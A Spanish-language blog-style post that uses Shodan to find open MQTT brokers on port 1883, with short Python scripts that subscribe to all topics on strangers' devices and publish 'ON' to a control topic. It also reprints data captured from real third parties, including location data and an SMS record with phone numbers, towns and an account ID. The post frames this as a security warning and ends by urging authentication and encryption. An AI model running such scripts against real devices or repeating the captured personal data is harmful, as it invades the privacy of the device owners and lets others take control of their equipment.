Este material es un proof prueba de concepto es para mejorar tu seguridad si usas mqtt o alguna api que use json, trata de mejorar la autentificacion minimamente.
Un buscador el cual revela mucha informacion que no deberia verse es shodan
Deben registrarse para usar la api tambien
https://www.shodan.io
Un puerto interesante para buscar es el 1883 en este puerto corren servicios como MQTT sin cifrar (sea cual sea mosquito o server dedicado) responden a sub - pub o sea subscripciones y publicaciones por decirlo asi muchas estan open por ser publicas, de prueba pero otras nos revelan informacion confidencial y si la veo yo cualquiera podria.
En shodan una busqueda texto mas puerto
esp8266 port:"1883" (Servicios MQTT de dispositivos esp8266 micros wifi muy IOT utilizados ahora para todo)
Algo como 30 dsipositivos esp8226 corriendo mqtt tambien podemos ver sus topics
En el ejemplo hay dos dispositivos mqtt esp8266dev001 y esp8266dev002 podemos hacer un sub y ver los datos por supuesto que si. parte de un esp8266 publica generalmente sin password
/****
#include <ESP8266WiFi.h> #include <PubSubClient.h> #include <OneWire.h> #include <DallasTemperature.h>/****
pequeño script rapido en python tiene errores para sub al dispositivo por el puerto 1883 el cual no piden contraseñas de autentificacion
/********************************************************************
#!/usr/bin/env python3
import paho.mqtt.client as mqtt
topic="topicsusando+#"
host="port"
def on_connect(client, userdata, flags, rc):
print("Conectado a "+host)
client.subscribe(topic)
def on_message(client, userdata, msg):
payload = str(msg.payload.decode())
print("El valor seteado "+topic+" -->"+payload)
#client.disconnect()
client = mqtt.Client()
client.connect(host,1883,60)
client.on_connect = on_connect
client.on_message = on_message
client.loop_forever()
/********************************************************************
Resultado puedo ver la informacion del lugar temperatura, humedad y valores en mV algun control PWM posiblemente de un hogar en españa...
otro ejemplo fue una respuesta de este tipo un json que responde al dispositivo ownstrack, googleando un poco es una compañia de seguimiento te instalas la aplicacion en el celular y guarda la posicion en el server, parseando el json obtenemos lat y longitud del individuo parece un auto.
se supone que no deberia ver esto es en eeuu hasta los nombres se pueden ver :(
Y la cosa se pone peor ver todos los dispositivos y encontrar algo inesperado
Lo parsee todo y es raro parte del mensaje sin codificar se ven los hash md5 y ac3 de los usuarios y el sms
["ToCountry"]; // "US" ["ToState"]; // "TX" ["SmsMessageSid"]; // "SMd5f1a6fafc71c29accbcd0911af08551" ["NumMedia"]; // "0" ["ToCity"]; // "MARION" ["FromZip"]; // "78666" ["SmsSid"]; // "SMd5f1a6fafc71c29accbcd0911af08551" ["FromState"]; // "TX" ["Type"]; // "Sms" ["Status"]; // "received" ["FromCity"]; // "SAN MARCOS" ["Body"]; // "Welcome to hass" ["FromCountry"]; // "US" ["To"]; // "+18304200062" ["ToZip"]; // "78152" ["NumSegments"]; // "1" ["MessageSid"]; // "SMd5f1a6fafc71c29accbcd0911af08551" ["AccountSid"]; // "AC3bc0f80a693629fa67da57362818bd73" ["From"]; // "+15126658221" ["ApiVersion"]; // "2010-04-01"
Bueno algo mas es posible controlar un dispositivo es decir encender o apagar algo creo que si
un pequeño script que publica a un topic que lo permite /set
/****************************************************************************
#!/usr/bin/env python3
import paho.mqtt.client as mqtt
import time
topic= "topic/set"
host= "host"
set1 = "ON"
client = mqtt.Client()
client.connect(host,1883,60)
client.publish(topic, set1);
print("Hackeando MQTT Server "+host +"---" +topic+" nuevo valor " +set1)
client.disconnect();
/****************************************************************************
Internet avanzo demasiado asi como la era de los dispositivos IOT el cual son muy atractivos, pero tengan en cuenta a la hora de implementar el proyecto en forma de produccion usar autentificacion, encriptacion y hatsa VPN.